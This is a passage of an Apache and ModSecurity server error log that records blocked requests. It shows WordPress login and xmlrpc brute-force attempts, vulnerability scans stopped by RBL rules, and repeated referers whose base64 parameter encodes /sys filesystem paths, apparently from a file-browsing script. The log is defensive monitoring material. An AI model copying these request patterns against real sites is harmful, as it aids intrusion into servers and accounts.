https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:24:17.731127 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0NS9wb3dlcg== [Sat Jun 13 18:24:17.880326 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.52:63262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:17.880787 2026] [access_compat:error] [pid 715691:tid 715720] [remote 57.141.14.52:63262] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:17.911742 2026] [security2:error] [pid 715691:tid 715771] [remote 17.246.19.182:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30sbV-dFiaX9AtWiQrlAABIjw"] [Sat Jun 13 18:24:17.949967 2026] [security2:error] [pid 715691:tid 715724] [remote 79.116.89.28:49496] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.89.116.79.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "kshar.net"] [uri "/wp-login.php"] [unique_id "ai30sbV-dFiaX9AtWiQrlgABWA4"] [Sat Jun 13 18:24:17.972203 2026] [security2:error] [pid 715691:tid 715809] [remote 91.206.200.153:58854] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.200.206.91.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.thesevensranch.com"] [uri "/xmlrpc.php"] [unique_id "ai30sbV-dFiaX9AtWiQrlwABeWI"] [Sat Jun 13 18:24:17.972459 2026] [security2:error] [pid 715691:tid 715952] [client 91.206.200.153:58854] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.thesevensranch.com"] [uri "/xmlrpc.php"] [unique_id "ai30sbV-dFiaX9AtWiQrlwABeWI"] [Sat Jun 13 18:24:18.084999 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.109:45720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:18.085450 2026] [access_compat:error] [pid 715691:tid 715732] [remote 57.141.14.109:45720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:18.283041 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MS9pZA== [Sat Jun 13 18:24:18.283334 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0MS9pZA== [Sat Jun 13 18:24:18.336420 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.91:63038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:18.336913 2026] [access_compat:error] [pid 646876:tid 646902] [remote 57.141.14.91:63038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:18.364496 2026] [security2:error] [pid 715691:tid 715863] [client 159.223.112.69:48334] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30srV-dFiaX9AtWiQroAAAASA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:18.480663 2026] [security2:error] [pid 715691:tid 715766] [remote 17.22.245.240:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 240.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30srV-dFiaX9AtWiQrpAABgDc"] [Sat Jun 13 18:24:18.557575 2026] [security2:error] [pid 646876:tid 647127] [client 159.223.112.69:48350] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30styTkdrNlD40tSHYCAAAAHc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:18.635357 2026] [access_compat:error] [pid 715691:tid 715773] [remote 57.141.14.53:64990] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:18.635824 2026] [access_compat:error] [pid 715691:tid 715773] [remote 57.141.14.53:64990] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:18.749622 2026] [security2:error] [pid 715691:tid 715876] [client 159.223.112.69:48366] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30srV-dFiaX9AtWiQrrAAAAS0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:18.750488 2026] [security2:error] [pid 646876:tid 647130] [client 159.223.112.69:48380] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30styTkdrNlD40tSHYCwAAAHo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:18.812374 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:24:18.812815 2026] [access_compat:error] [pid 646876:tid 646927] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:24:18.963455 2026] [security2:error] [pid 646876:tid 647113] [client 159.223.112.69:48396] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30styTkdrNlD40tSHYEwAAAGk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:18.964767 2026] [security2:error] [pid 646876:tid 647078] [client 159.223.112.69:48420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30styTkdrNlD40tSHYFAAAAEY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:19.036205 2026] [security2:error] [pid 646876:tid 647072] [client 159.223.112.69:48406] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30s9yTkdrNlD40tSHYFwAAAEA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:19.119202 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.92:34490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:19.119634 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.92:34490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:19.183776 2026] [security2:error] [pid 715691:tid 715881] [client 159.223.112.69:48430] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai30s7V-dFiaX9AtWiQrswAAATI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:19.272162 2026] [security2:error] [pid 715691:tid 715808] [remote 17.246.15.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30s7V-dFiaX9AtWiQrtAABXmE"] [Sat Jun 13 18:24:19.371317 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:19.371791 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:19.458555 2026] [access_compat:error] [pid 646876:tid 646984] [remote 57.141.14.17:40934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:19.459023 2026] [access_compat:error] [pid 646876:tid 646984] [remote 57.141.14.17:40934] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:19.661347 2026] [security2:error] [pid 715691:tid 715751] [remote 79.116.89.28:49496] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.89.116.79.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "kshar.net"] [uri "/wp-login.php"] [unique_id "ai30s7V-dFiaX9AtWiQrvgABNik"], referer: https://kshar.net/wp-login.php [Sat Jun 13 18:24:19.882786 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NC9wb3dlcg== [Sat Jun 13 18:24:19.883228 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50NC9wb3dlcg== [Sat Jun 13 18:24:19.912073 2026] [security2:error] [pid 646876:tid 646968] [remote 17.241.227.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30s9yTkdrNlD40tSHYLQAANVk"] [Sat Jun 13 18:24:20.226422 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.61:61644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:20.226704 2026] [access_compat:error] [pid 715691:tid 715829] [remote 57.141.14.61:61644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:20.265021 2026] [access_compat:error] [pid 646876:tid 646901] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:20.265360 2026] [access_compat:error] [pid 646876:tid 646901] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:20.403861 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:24:20.404145 2026] [access_compat:error] [pid 646876:tid 646963] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvaWQ= [Sat Jun 13 18:24:20.570752 2026] [security2:error] [pid 646876:tid 646929] [remote 17.22.237.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30tNyTkdrNlD40tSHYQwAAGjI"] [Sat Jun 13 18:24:20.711160 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.29:25033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:20.711598 2026] [access_compat:error] [pid 715691:tid 715747] [remote 57.141.14.29:25033] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:20.928157 2026] [access_compat:error] [pid 646876:tid 646886] [remote 57.141.14.38:54939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:20.928618 2026] [access_compat:error] [pid 646876:tid 646886] [remote 57.141.14.38:54939] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:20.941809 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDQ= [Sat Jun 13 18:24:20.942281 2026] [access_compat:error] [pid 646876:tid 646921] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 